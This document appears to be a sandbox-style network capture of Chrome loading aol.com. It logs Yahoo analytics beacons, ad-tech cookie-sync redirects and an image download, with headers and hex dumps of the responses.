2024-05-23 22:35:15 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:15 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:15 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:15 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
660	192.168.2.6	50502	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	1592	OUT	POST /p?s=1197805788&t=K1D3qKpMNiuGaIeV,0.04664577569890538&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03205%04_E%03dwell%04_ts%031716503712%04_ms%03215%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:15 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:15 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:15 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:15 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
661	192.168.2.6	50501	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	1595	OUT	POST /p?s=1197803361&t=2ef3OZSybkMUGgvR,0.30929706329535134&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03window.focus%04A_prets%031716503703%04A_prems%03920%04_E%03dwell%04_ts%031716503705%04_ms%03691%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:16 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:15 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:15 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
662	192.168.2.6	50499	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	1592	OUT	POST /p?s=1197805788&t=JO1GZaJqNQXpQUyg,0.5065693654388974&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03215%04_E%03dwell%04_ts%031716503712%04_ms%03220%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:16 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:15 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:15 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
663	192.168.2.6	50503	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	1592	OUT	POST /p?s=1197805788&t=hwQttzmp7UGsgkZA,0.45507011404050113&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03220%04_E%03dwell%04_ts%031716503712%04_ms%03230%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:16 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:15 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:15 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
664	192.168.2.6	50513	34.111.113.62	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	671	OUT	GET /idsync/ex/receive?partner_id=3355&partner_device_id=LWJTZABN-X-K4PW&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:15 UTC	1089	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:15 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1716503715831;Expires=Mon, 22 Jul 2024 22:35:15 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=8195b79d-c729-496f-899d-016ad4c2935d;Expires=Mon, 22 Jul 2024 22:35:15 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://pixel.tapad.com/idsync/ex/receive/check?partner_id=3355&partner_device_id=LWJTZABN-X-K4PW&gdpr=0&us_privacy=1YNN Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
665	192.168.2.6	50510	3.248.168.119	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	1036	OUT	GET /pbsync?is=vz&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&redirectUri=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dyieldmo%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; re_sync=pp%3D1192856%7Crc%3D1192856%7Cc%3D1192856%7Cdv360%3D1192856%7Can%3D1192856; ptran=9165965397510453586; ptrrc=LWJTZABN-X-K4PW; ptrpp=7WXU1ZUhF2Kx; ptrc=CAESEOEc1rz1IR8Gw4xvRTDNP88
2024-05-23 22:35:16 UTC	770	IN	HTTP/1.1 302 Date: Thu, 23 May 2024 22:35:16 GMT Content-Type: application/json;charset=utf-8 Content-Length: 0 Connection: close Set-Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:16 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Location: https://pbs.yahoo.com/setuid?bidder=yieldmo&f=i&uid=VI3M3YYKKoYShFji8P8C&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
666	192.168.2.6	50507	34.255.48.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	903	OUT	GET /cookie-sync?gdpr=0&bee_sync_partners=sas%2Cpm&bee_sync_current_partner=pp&bee_sync_initiator=adx&bee_sync_hop_count=2&ev=AANRF07Mn4kAABWNJQroRw&pid=558502&do=add&gdpr=0 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AANRF07Mn4kAABWNJQroRw; bitoIsSecure=ok
2024-05-23 22:35:16 UTC	633	IN	HTTP/1.1 303 See Other Date: Thu, 23 May 2024 22:35:16 GMT location: https://rtb-csync.smartadserver.com/redir?partneruserid=AANRF07Mn4kAABWNJQroRw&partnerid=127&redirurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26bee_sync_partners%3Dpm%26bee_sync_current_partner%3Dsas%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D3%26userid%3DSMART_USER_ID&gdpr=0 Server: gunicorn set-cookie: bito=AANRF07Mn4kAABWNJQroRw; Domain=bidr.io; expires=Sun, 22 Jun 2025 18:35:16 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
667	192.168.2.6	50505	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:15 UTC	1593	OUT	POST /p?s=1197805788&t=shDdhBYYGHKHBUM6,0.20814948620408424&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03230%04_E%03dwell%04_ts%031716503712%04_ms%03234%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:16 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:16 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:16 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
668	192.168.2.6	50506	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	662	OUT	GET /cv/apiv2/default/20181213/house_300x250.jpeg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:16 UTC	816	IN	HTTP/1.1 200 OK x-amz-id-2: n4CTVAJBG1QUZ1Of/T1cWR87GtZVxYq9FhkHAIXxC1EnOCTacxHKiLdjLSItz7TkiPkg53FPM7U= x-amz-request-id: 1YDD4F054SF3J6A7 Date: Fri, 03 May 2024 15:08:10 GMT Last-Modified: Mon, 04 Mar 2024 16:42:52 GMT ETag: "3ea66ee34a889f0647a90298b5ba3aea" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/jpeg Server: ATS Content-Length: 28694 Referrer-Policy: no-referrer-when-downgrade Age: 1754827 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 01 00 48 00 48 00 00 ff e1 00 ca 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 06 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 56 01 1b 00 05 00 00 00 01 00 00 00 5e 01 28 00 03 00 00 00 01 00 02 00 00 02 13 00 03 00 00 00 01 00 01 00 00 87 69 00 04 00 00 00 01 00 00 00 66 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 07 90 00 00 07 00 00 00 04 30 32 32 31 91 01 00 07 00 00 00 04 01 02 03 00 a0 00 00 07 00 00 00 04 30 31 30 30 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 2c a0 03 00 04 00 00 00 01 00 00 00 fa a4 06 00 03 00 00 00 01 00 00 00 00 00 00 00 00 00 00 ff c0 00 11 08 00 fa 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 Data Ascii: JFIFHHExifMM*V^(ifHH02210100,,"
